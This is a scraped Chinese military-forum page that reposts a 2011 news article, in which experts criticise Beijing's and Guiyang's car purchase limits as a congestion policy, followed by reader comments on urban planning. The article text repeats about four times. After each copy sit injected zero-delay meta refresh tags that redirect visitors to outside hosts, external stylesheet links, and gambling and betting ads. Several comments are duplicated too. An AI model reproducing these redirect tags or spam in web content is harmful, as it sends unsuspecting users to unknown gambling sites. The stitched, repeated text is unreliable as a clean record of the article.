超级军网限车治堵遭多位专家批评
来源：百度文库 编辑：超级军网 时间：2024/04/28 14:11:35
<br /><br />“由于限车政策的影响，北京今年上半年的经济增长跌落了一个百分点。要防止经济增速回落，还需要回到汽车行业的健康发展上来。”近日，在2011中国汽车产业发展国际论坛上，国家统计局原总经济师姚景源向记者表示，在解决交通拥堵问题上，一定不能抑制汽车工业的发展，而是 要想办法加快道路建设，加快立体交通、公共交通建设，同时加强交通管理水平，不能局限于限车。
“对限购我是非常有意见的。限购等于是其他部门工作的不足都推到了汽车主管部门身上，这样非常不科学。交通部门自己的工作不做好，就用这种简单枯燥的方式，实际是解决不了问题的。其实这是政府层面的态度有问题。”汽车行业元老级人物、原中国汽车工业公司总经理陈祖涛指出了限购治堵的弊端。而中国汽车技术研究中心主任赵航则明确表示，中央应制止地方政府的限购政策。
这是业内对限购治堵政策的又一次批评。今年7月，正当业界探讨北京限车治堵政策的效果时，贵阳市出台的《贵阳市小客车专段号牌核发管理暂行规定》再次引起轩然大波。贵阳是国内继北京之后第二个推出限购措施的省会城市。不少人士担心，受此影响，一系列大中城市或将陆续出台类似的限购政策，让今年以来持续不景气的车市雪上加霜。
实际上，在去年底北京推出限车政策后，业内就多次对此举的治堵效果表示质疑。对于贵阳限车政策顶着压力出台，一种公认的解释是，公交、地铁等基础设施建设周期长，城市规划和交通管理则需要很高的人力、物力成本，相比之下，限购治堵措施方法简单，见效快，因此吸引了一些城市模仿。
然而，限车治堵的成本是巨大的。北京的限车政策实施半年后，其负面效果已经凸显出来。诸如经销店关门、销售人员失业，自主品牌销量锐减，消费者购车成本增加等问题不一而足。上半年整个汽车产业的发展速度也因此放缓。中国汽车工业协会的数据显示，今年前7个月，国产汽车产销累计达到1046.24万辆和1060.18万辆，同比增长仅有2.33%和3.22%，增幅比上年同期大幅回落。
限购政策对自主品牌的打压更是显而易见。数据显示，今年1～7月，乘用车自主品牌共销售352.34万辆（包括133.1万辆的微客销量），同比下降1.03%，占乘用车销售总量的43.37%，市场占有率较上年同期下降3.06%。自主品牌车企中，比亚迪、长安下滑均超过10%。“限购政策使得消费者购车成本增加，好容易有了购车机会，就选择一步到位购买合资车型。”中国汽车技术研究中心副主任张建伟认为，现在上牌照这么难，尽管各地还没有出台限牌措施。但消费者可能担心将来有一天会限制，就干脆买一个好车得了。这对车市、尤其是对自主品牌车型的冲击是很大的，对于自主品牌的发展是极为不利的。
“限车的初衷是为了解决贵阳的交通拥堵问题，让市民出行通畅。但限车不是解决贵阳交通拥堵的根本途径，政府应该从长远角度去寻找解决拥堵的办法。” 在贵阳出台限车政策后，贵州省社科院区域经济研究所所长宋明表示，限车虽然可以缓解交通拥堵，但起不到治本作用。
北京限车治堵的失败成了这番话的最好注脚。尽管限车治堵政策已经实施超过半年，并付出了高昂的成本，但京城交通状况依然没有根本好转。今年6月中下旬，北京市交通委发起的交通缓堵民意调查结果显示，52.77%的投票者认为治堵未见成效。腾讯汽车发起的微博调查也显示，截至2011年6月30日，88.03%的受调查网友认为，汽车限购无法缓解交通拥堵，仅约1成网友认为限购对于治堵直接有效。更有业内人士直言不讳地表示，北京上半年的治堵效果主要源于城区停车费涨价，而非汽车限购政策。
在采访中，多数人士一致认为，交通拥堵不能归咎于车多一个因素。在调研贵阳交通拥堵的原因时，国家发改委一位人士形象地描述道：“贵阳的静态交通问题严重，停车场、停车位等基础设施建设滞后，许多市民把车违规停在路边，血管壁上全是脂肪，如同高血脂的病人。”
对此，中国汽车工业协会副秘书长熊传林有着相同的见解。“交通拥堵既有交通管理和城市规划的原因，也有消费者用车习惯的原因，不能完全归咎于车多。因此，政府不能简单地依赖限购限行这种单一措施来解决交通拥堵问题。”
“我国平均一辆车一年耗油超过两吨，发达国家不超过一吨，可见国内用车频次太高了。这一方面是因为消费者对汽车产生过度依赖，另一方面说明国内公共交通还不够方便，没能给消费者提供更佳的出行方案。因此，治堵的根本不在于限购，而在于公共交通和城市化发展的合理规划，提高百姓出行的效率和舒适度。”
对于解决交通拥堵，国家统计局原总经济师姚景源给出的方子是，首先要建设更多的道路。路的建设快于车的生产，就不会出现拥堵，只要路的增长低于车的增长，肯定是堵的趋势。要想做到路的增长快于车的增长，就需要科学的规划能力、管理水平等。“汽车通过购置税、燃油税等方式为政府提供了税收，政府可以拿来修路，让车和路的发展形成良性循环。在车和路的问题上不应遏制车的发展，而是要加快路的发展，这样既能解决交通拥堵问题，同时又有利于汽车产业乃至经济的发展。”
“香港土地面积比北京小，人口密度比北京大，也没有长安街那么宽的路，但是香港不堵车。什么原因呢？因为它采取了很多措施，比如说加大地铁、公共交通。我觉得在解决交通拥堵问题上一定不能抑制汽车工业的发展，而是要想办法加快道路建设，加快立体交通、公共交通建设，同时加强交通管理水平，这是全方位的解决方案。在此基础上再拿出一些限行、增加拥堵费之类的措施来缓解拥堵。”姚景源说。
<meta http-equiv="refresh" content="0; url=http://zgw.cc">
<meta http-equiv="refresh" content="0; url=http://scw.cc">
<link href="http://zgw.cc/aaa.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://scw.cc/1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)足球.篮球/..各类投注开户下注
<P> </P>
推荐→第一投注/倍率高.存取速度快.国内最好的投注平台
<br /><br />“由于限车政策的影响，北京今年上半年的经济增长跌落了一个百分点。要防止经济增速回落，还需要回到汽车行业的健康发展上来。”近日，在2011中国汽车产业发展国际论坛上，国家统计局原总经济师姚景源向记者表示，在解决交通拥堵问题上，一定不能抑制汽车工业的发展，而是 要想办法加快道路建设，加快立体交通、公共交通建设，同时加强交通管理水平，不能局限于限车。
“对限购我是非常有意见的。限购等于是其他部门工作的不足都推到了汽车主管部门身上，这样非常不科学。交通部门自己的工作不做好，就用这种简单枯燥的方式，实际是解决不了问题的。其实这是政府层面的态度有问题。”汽车行业元老级人物、原中国汽车工业公司总经理陈祖涛指出了限购治堵的弊端。而中国汽车技术研究中心主任赵航则明确表示，中央应制止地方政府的限购政策。
这是业内对限购治堵政策的又一次批评。今年7月，正当业界探讨北京限车治堵政策的效果时，贵阳市出台的《贵阳市小客车专段号牌核发管理暂行规定》再次引起轩然大波。贵阳是国内继北京之后第二个推出限购措施的省会城市。不少人士担心，受此影响，一系列大中城市或将陆续出台类似的限购政策，让今年以来持续不景气的车市雪上加霜。
实际上，在去年底北京推出限车政策后，业内就多次对此举的治堵效果表示质疑。对于贵阳限车政策顶着压力出台，一种公认的解释是，公交、地铁等基础设施建设周期长，城市规划和交通管理则需要很高的人力、物力成本，相比之下，限购治堵措施方法简单，见效快，因此吸引了一些城市模仿。
然而，限车治堵的成本是巨大的。北京的限车政策实施半年后，其负面效果已经凸显出来。诸如经销店关门、销售人员失业，自主品牌销量锐减，消费者购车成本增加等问题不一而足。上半年整个汽车产业的发展速度也因此放缓。中国汽车工业协会的数据显示，今年前7个月，国产汽车产销累计达到1046.24万辆和1060.18万辆，同比增长仅有2.33%和3.22%，增幅比上年同期大幅回落。
限购政策对自主品牌的打压更是显而易见。数据显示，今年1～7月，乘用车自主品牌共销售352.34万辆（包括133.1万辆的微客销量），同比下降1.03%，占乘用车销售总量的43.37%，市场占有率较上年同期下降3.06%。自主品牌车企中，比亚迪、长安下滑均超过10%。“限购政策使得消费者购车成本增加，好容易有了购车机会，就选择一步到位购买合资车型。”中国汽车技术研究中心副主任张建伟认为，现在上牌照这么难，尽管各地还没有出台限牌措施。但消费者可能担心将来有一天会限制，就干脆买一个好车得了。这对车市、尤其是对自主品牌车型的冲击是很大的，对于自主品牌的发展是极为不利的。
“限车的初衷是为了解决贵阳的交通拥堵问题，让市民出行通畅。但限车不是解决贵阳交通拥堵的根本途径，政府应该从长远角度去寻找解决拥堵的办法。” 在贵阳出台限车政策后，贵州省社科院区域经济研究所所长宋明表示，限车虽然可以缓解交通拥堵，但起不到治本作用。
北京限车治堵的失败成了这番话的最好注脚。尽管限车治堵政策已经实施超过半年，并付出了高昂的成本，但京城交通状况依然没有根本好转。今年6月中下旬，北京市交通委发起的交通缓堵民意调查结果显示，52.77%的投票者认为治堵未见成效。腾讯汽车发起的微博调查也显示，截至2011年6月30日，88.03%的受调查网友认为，汽车限购无法缓解交通拥堵，仅约1成网友认为限购对于治堵直接有效。更有业内人士直言不讳地表示，北京上半年的治堵效果主要源于城区停车费涨价，而非汽车限购政策。
在采访中，多数人士一致认为，交通拥堵不能归咎于车多一个因素。在调研贵阳交通拥堵的原因时，国家发改委一位人士形象地描述道：“贵阳的静态交通问题严重，停车场、停车位等基础设施建设滞后，许多市民把车违规停在路边，血管壁上全是脂肪，如同高血脂的病人。”
对此，中国汽车工业协会副秘书长熊传林有着相同的见解。“交通拥堵既有交通管理和城市规划的原因，也有消费者用车习惯的原因，不能完全归咎于车多。因此，政府不能简单地依赖限购限行这种单一措施来解决交通拥堵问题。”
“我国平均一辆车一年耗油超过两吨，发达国家不超过一吨，可见国内用车频次太高了。这一方面是因为消费者对汽车产生过度依赖，另一方面说明国内公共交通还不够方便，没能给消费者提供更佳的出行方案。因此，治堵的根本不在于限购，而在于公共交通和城市化发展的合理规划，提高百姓出行的效率和舒适度。”
对于解决交通拥堵，国家统计局原总经济师姚景源给出的方子是，首先要建设更多的道路。路的建设快于车的生产，就不会出现拥堵，只要路的增长低于车的增长，肯定是堵的趋势。要想做到路的增长快于车的增长，就需要科学的规划能力、管理水平等。“汽车通过购置税、燃油税等方式为政府提供了税收，政府可以拿来修路，让车和路的发展形成良性循环。在车和路的问题上不应遏制车的发展，而是要加快路的发展，这样既能解决交通拥堵问题，同时又有利于汽车产业乃至经济的发展。”
“香港土地面积比北京小，人口密度比北京大，也没有长安街那么宽的路，但是香港不堵车。什么原因呢？因为它采取了很多措施，比如说加大地铁、公共交通。我觉得在解决交通拥堵问题上一定不能抑制汽车工业的发展，而是要想办法加快道路建设，加快立体交通、公共交通建设，同时加强交通管理水平，这是全方位的解决方案。在此基础上再拿出一些限行、增加拥堵费之类的措施来缓解拥堵。”姚景源说。
<meta http-equiv="refresh" content="0; url=http://zgw.cc">
<meta http-equiv="refresh" content="0; url=http://scw.cc">
<link href="http://zgw.cc/aaa.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://scw.cc/1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)足球.篮球/..各类投注开户下注
<P> </P>
推荐→第一投注/倍率高.存取速度快.国内最好的投注平台
“对限购我是非常有意见的。限购等于是其他部门工作的不足都推到了汽车主管部门身上，这样非常不科学。交通部门自己的工作不做好，就用这种简单枯燥的方式，实际是解决不了问题的。其实这是政府层面的态度有问题。”汽车行业元老级人物、原中国汽车工业公司总经理陈祖涛指出了限购治堵的弊端。而中国汽车技术研究中心主任赵航则明确表示，中央应制止地方政府的限购政策。
这是业内对限购治堵政策的又一次批评。今年7月，正当业界探讨北京限车治堵政策的效果时，贵阳市出台的《贵阳市小客车专段号牌核发管理暂行规定》再次引起轩然大波。贵阳是国内继北京之后第二个推出限购措施的省会城市。不少人士担心，受此影响，一系列大中城市或将陆续出台类似的限购政策，让今年以来持续不景气的车市雪上加霜。
实际上，在去年底北京推出限车政策后，业内就多次对此举的治堵效果表示质疑。对于贵阳限车政策顶着压力出台，一种公认的解释是，公交、地铁等基础设施建设周期长，城市规划和交通管理则需要很高的人力、物力成本，相比之下，限购治堵措施方法简单，见效快，因此吸引了一些城市模仿。
然而，限车治堵的成本是巨大的。北京的限车政策实施半年后，其负面效果已经凸显出来。诸如经销店关门、销售人员失业，自主品牌销量锐减，消费者购车成本增加等问题不一而足。上半年整个汽车产业的发展速度也因此放缓。中国汽车工业协会的数据显示，今年前7个月，国产汽车产销累计达到1046.24万辆和1060.18万辆，同比增长仅有2.33%和3.22%，增幅比上年同期大幅回落。
限购政策对自主品牌的打压更是显而易见。数据显示，今年1～7月，乘用车自主品牌共销售352.34万辆（包括133.1万辆的微客销量），同比下降1.03%，占乘用车销售总量的43.37%，市场占有率较上年同期下降3.06%。自主品牌车企中，比亚迪、长安下滑均超过10%。“限购政策使得消费者购车成本增加，好容易有了购车机会，就选择一步到位购买合资车型。”中国汽车技术研究中心副主任张建伟认为，现在上牌照这么难，尽管各地还没有出台限牌措施。但消费者可能担心将来有一天会限制，就干脆买一个好车得了。这对车市、尤其是对自主品牌车型的冲击是很大的，对于自主品牌的发展是极为不利的。
“限车的初衷是为了解决贵阳的交通拥堵问题，让市民出行通畅。但限车不是解决贵阳交通拥堵的根本途径，政府应该从长远角度去寻找解决拥堵的办法。” 在贵阳出台限车政策后，贵州省社科院区域经济研究所所长宋明表示，限车虽然可以缓解交通拥堵，但起不到治本作用。
北京限车治堵的失败成了这番话的最好注脚。尽管限车治堵政策已经实施超过半年，并付出了高昂的成本，但京城交通状况依然没有根本好转。今年6月中下旬，北京市交通委发起的交通缓堵民意调查结果显示，52.77%的投票者认为治堵未见成效。腾讯汽车发起的微博调查也显示，截至2011年6月30日，88.03%的受调查网友认为，汽车限购无法缓解交通拥堵，仅约1成网友认为限购对于治堵直接有效。更有业内人士直言不讳地表示，北京上半年的治堵效果主要源于城区停车费涨价，而非汽车限购政策。
在采访中，多数人士一致认为，交通拥堵不能归咎于车多一个因素。在调研贵阳交通拥堵的原因时，国家发改委一位人士形象地描述道：“贵阳的静态交通问题严重，停车场、停车位等基础设施建设滞后，许多市民把车违规停在路边，血管壁上全是脂肪，如同高血脂的病人。”
对此，中国汽车工业协会副秘书长熊传林有着相同的见解。“交通拥堵既有交通管理和城市规划的原因，也有消费者用车习惯的原因，不能完全归咎于车多。因此，政府不能简单地依赖限购限行这种单一措施来解决交通拥堵问题。”
“我国平均一辆车一年耗油超过两吨，发达国家不超过一吨，可见国内用车频次太高了。这一方面是因为消费者对汽车产生过度依赖，另一方面说明国内公共交通还不够方便，没能给消费者提供更佳的出行方案。因此，治堵的根本不在于限购，而在于公共交通和城市化发展的合理规划，提高百姓出行的效率和舒适度。”
对于解决交通拥堵，国家统计局原总经济师姚景源给出的方子是，首先要建设更多的道路。路的建设快于车的生产，就不会出现拥堵，只要路的增长低于车的增长，肯定是堵的趋势。要想做到路的增长快于车的增长，就需要科学的规划能力、管理水平等。“汽车通过购置税、燃油税等方式为政府提供了税收，政府可以拿来修路，让车和路的发展形成良性循环。在车和路的问题上不应遏制车的发展，而是要加快路的发展，这样既能解决交通拥堵问题，同时又有利于汽车产业乃至经济的发展。”
“香港土地面积比北京小，人口密度比北京大，也没有长安街那么宽的路，但是香港不堵车。什么原因呢？因为它采取了很多措施，比如说加大地铁、公共交通。我觉得在解决交通拥堵问题上一定不能抑制汽车工业的发展，而是要想办法加快道路建设，加快立体交通、公共交通建设，同时加强交通管理水平，这是全方位的解决方案。在此基础上再拿出一些限行、增加拥堵费之类的措施来缓解拥堵。”姚景源说。
<meta http-equiv="refresh" content="0; url=http://zgw.cc">
<meta http-equiv="refresh" content="0; url=http://scw.cc">
<link href="http://zgw.cc/aaa.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://scw.cc/1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)足球.篮球/..各类投注开户下注
<P> </P>
推荐→第一投注/倍率高.存取速度快.国内最好的投注平台
<br /><br />“由于限车政策的影响，北京今年上半年的经济增长跌落了一个百分点。要防止经济增速回落，还需要回到汽车行业的健康发展上来。”近日，在2011中国汽车产业发展国际论坛上，国家统计局原总经济师姚景源向记者表示，在解决交通拥堵问题上，一定不能抑制汽车工业的发展，而是 要想办法加快道路建设，加快立体交通、公共交通建设，同时加强交通管理水平，不能局限于限车。
“对限购我是非常有意见的。限购等于是其他部门工作的不足都推到了汽车主管部门身上，这样非常不科学。交通部门自己的工作不做好，就用这种简单枯燥的方式，实际是解决不了问题的。其实这是政府层面的态度有问题。”汽车行业元老级人物、原中国汽车工业公司总经理陈祖涛指出了限购治堵的弊端。而中国汽车技术研究中心主任赵航则明确表示，中央应制止地方政府的限购政策。
这是业内对限购治堵政策的又一次批评。今年7月，正当业界探讨北京限车治堵政策的效果时，贵阳市出台的《贵阳市小客车专段号牌核发管理暂行规定》再次引起轩然大波。贵阳是国内继北京之后第二个推出限购措施的省会城市。不少人士担心，受此影响，一系列大中城市或将陆续出台类似的限购政策，让今年以来持续不景气的车市雪上加霜。
实际上，在去年底北京推出限车政策后，业内就多次对此举的治堵效果表示质疑。对于贵阳限车政策顶着压力出台，一种公认的解释是，公交、地铁等基础设施建设周期长，城市规划和交通管理则需要很高的人力、物力成本，相比之下，限购治堵措施方法简单，见效快，因此吸引了一些城市模仿。
然而，限车治堵的成本是巨大的。北京的限车政策实施半年后，其负面效果已经凸显出来。诸如经销店关门、销售人员失业，自主品牌销量锐减，消费者购车成本增加等问题不一而足。上半年整个汽车产业的发展速度也因此放缓。中国汽车工业协会的数据显示，今年前7个月，国产汽车产销累计达到1046.24万辆和1060.18万辆，同比增长仅有2.33%和3.22%，增幅比上年同期大幅回落。
限购政策对自主品牌的打压更是显而易见。数据显示，今年1～7月，乘用车自主品牌共销售352.34万辆（包括133.1万辆的微客销量），同比下降1.03%，占乘用车销售总量的43.37%，市场占有率较上年同期下降3.06%。自主品牌车企中，比亚迪、长安下滑均超过10%。“限购政策使得消费者购车成本增加，好容易有了购车机会，就选择一步到位购买合资车型。”中国汽车技术研究中心副主任张建伟认为，现在上牌照这么难，尽管各地还没有出台限牌措施。但消费者可能担心将来有一天会限制，就干脆买一个好车得了。这对车市、尤其是对自主品牌车型的冲击是很大的，对于自主品牌的发展是极为不利的。
“限车的初衷是为了解决贵阳的交通拥堵问题，让市民出行通畅。但限车不是解决贵阳交通拥堵的根本途径，政府应该从长远角度去寻找解决拥堵的办法。” 在贵阳出台限车政策后，贵州省社科院区域经济研究所所长宋明表示，限车虽然可以缓解交通拥堵，但起不到治本作用。
北京限车治堵的失败成了这番话的最好注脚。尽管限车治堵政策已经实施超过半年，并付出了高昂的成本，但京城交通状况依然没有根本好转。今年6月中下旬，北京市交通委发起的交通缓堵民意调查结果显示，52.77%的投票者认为治堵未见成效。腾讯汽车发起的微博调查也显示，截至2011年6月30日，88.03%的受调查网友认为，汽车限购无法缓解交通拥堵，仅约1成网友认为限购对于治堵直接有效。更有业内人士直言不讳地表示，北京上半年的治堵效果主要源于城区停车费涨价，而非汽车限购政策。
在采访中，多数人士一致认为，交通拥堵不能归咎于车多一个因素。在调研贵阳交通拥堵的原因时，国家发改委一位人士形象地描述道：“贵阳的静态交通问题严重，停车场、停车位等基础设施建设滞后，许多市民把车违规停在路边，血管壁上全是脂肪，如同高血脂的病人。”
对此，中国汽车工业协会副秘书长熊传林有着相同的见解。“交通拥堵既有交通管理和城市规划的原因，也有消费者用车习惯的原因，不能完全归咎于车多。因此，政府不能简单地依赖限购限行这种单一措施来解决交通拥堵问题。”
“我国平均一辆车一年耗油超过两吨，发达国家不超过一吨，可见国内用车频次太高了。这一方面是因为消费者对汽车产生过度依赖，另一方面说明国内公共交通还不够方便，没能给消费者提供更佳的出行方案。因此，治堵的根本不在于限购，而在于公共交通和城市化发展的合理规划，提高百姓出行的效率和舒适度。”
对于解决交通拥堵，国家统计局原总经济师姚景源给出的方子是，首先要建设更多的道路。路的建设快于车的生产，就不会出现拥堵，只要路的增长低于车的增长，肯定是堵的趋势。要想做到路的增长快于车的增长，就需要科学的规划能力、管理水平等。“汽车通过购置税、燃油税等方式为政府提供了税收，政府可以拿来修路，让车和路的发展形成良性循环。在车和路的问题上不应遏制车的发展，而是要加快路的发展，这样既能解决交通拥堵问题，同时又有利于汽车产业乃至经济的发展。”
“香港土地面积比北京小，人口密度比北京大，也没有长安街那么宽的路，但是香港不堵车。什么原因呢？因为它采取了很多措施，比如说加大地铁、公共交通。我觉得在解决交通拥堵问题上一定不能抑制汽车工业的发展，而是要想办法加快道路建设，加快立体交通、公共交通建设，同时加强交通管理水平，这是全方位的解决方案。在此基础上再拿出一些限行、增加拥堵费之类的措施来缓解拥堵。”姚景源说。
<meta http-equiv="refresh" content="0; url=http://zgw.cc">
<meta http-equiv="refresh" content="0; url=http://scw.cc">
<link href="http://zgw.cc/aaa.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://scw.cc/1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)足球.篮球/..各类投注开户下注
<P> </P>
推荐→第一投注/倍率高.存取速度快.国内最好的投注平台
杭州开始限行了 虽然一周只一天 但是还是有影响啊···
能不能来个鼓励式限车
如果车辆上有安吉星之类的东西，或者GPS之类的东西，很容易可以向服务中心获得某天车辆行驶的位置信息，如果该信息能证明：“高峰时段该车主的车辆不在道路上行驶，为治堵做出了贡献”那么政府就向该车户的账户上打入几块钱的奖励，比如避一个早高峰奖励3块钱
再者可以推广自动启停系统，给安装自动启停系统的车辆、混动车、以及其他在堵车和低速工况下不启动引擎的车辆给予奖励和扶持，包括税收上的优惠，给予车主奖励等，凭借绿色车主证到指定地点购买优惠价汽油等等。这些车辆的造价相对较高，如果收到鼓励的话，政府在购置税一项有出有入，车价高了税收自然会增加，但是税率减免又会减少税收，政府不吃亏，车主感觉还享受低税率
能不能来个鼓励式限车
如果车辆上有安吉星之类的东西，或者GPS之类的东西，很容易可以向服务中心获得某天车辆行驶的位置信息，如果该信息能证明：“高峰时段该车主的车辆不在道路上行驶，为治堵做出了贡献”那么政府就向该车户的账户上打入几块钱的奖励，比如避一个早高峰奖励3块钱
再者可以推广自动启停系统，给安装自动启停系统的车辆、混动车、以及其他在堵车和低速工况下不启动引擎的车辆给予奖励和扶持，包括税收上的优惠，给予车主奖励等，凭借绿色车主证到指定地点购买优惠价汽油等等。这些车辆的造价相对较高，如果收到鼓励的话，政府在购置税一项有出有入，车价高了税收自然会增加，但是税率减免又会减少税收，政府不吃亏，车主感觉还享受低税率
还是城市规划不合理,人流集中的几个地方都在一起....
道路管理建设不作为,不堵才怪,
中关村附近空地足够修立交了,就是不修,
天天上下班四环和中关村大街交叉口堵车,
这一个路口一堵就40分钟过不去,
油全怠速烧了,做的都是无用功,
节能减排?浪费的倒真不少...
中关村附近空地足够修立交了,就是不修,
天天上下班四环和中关村大街交叉口堵车,
这一个路口一堵就40分钟过不去,
油全怠速烧了,做的都是无用功,
节能减排?浪费的倒真不少...
天朝的政策一会儿左一会儿右，让人无所适从……高铁就是前车之鉴啊
典型的饮鸩止渴，杀鸡取卵。
我国平均一辆车一年耗油超过两吨，发达国家不超过一吨
=====================================
一家四口人一辆车耗油两吨
一家四口人四辆车耗油四吨
我国平均一辆车一年耗油超过两吨，发达国家不超过一吨
=====================================
一家四口人一辆车耗油两吨
一家四口人四辆车耗油四吨
别提了，我们这个小城市都开始堵车了，老城区路太窄了，都是双向2车道的路面，没法不堵。
是造汽车容易还是修路快？这是个问题。
交通管理不善
请ZF多干些应该干的事，少干些不应该干的事。
本来是管理（包括城市规划）上的无能，说一句汽车太狡猾也就罢了，
非要找一些主流儿专家出来大唱赞歌，就很令人作区！
几大问题（我不是很懂，学城市规划和交通的手下说的）
- 规划的放射性和房价、开发性质等政策导致大量人口被驱赶到睡城，由于睡城原理服务（服务
几何级数递减），不得不买车，就是公交也超挤（参见帝都去回龙观或通州的地铁）
- 道路设计不合理，没有把“流”最佳化，一些立交反而成了车流集中的堵塞点
非要找一些主流儿专家出来大唱赞歌，就很令人作区！
几大问题（我不是很懂，学城市规划和交通的手下说的）
- 规划的放射性和房价、开发性质等政策导致大量人口被驱赶到睡城，由于睡城原理服务（服务
几何级数递减），不得不买车，就是公交也超挤（参见帝都去回龙观或通州的地铁）
- 道路设计不合理，没有把“流”最佳化，一些立交反而成了车流集中的堵塞点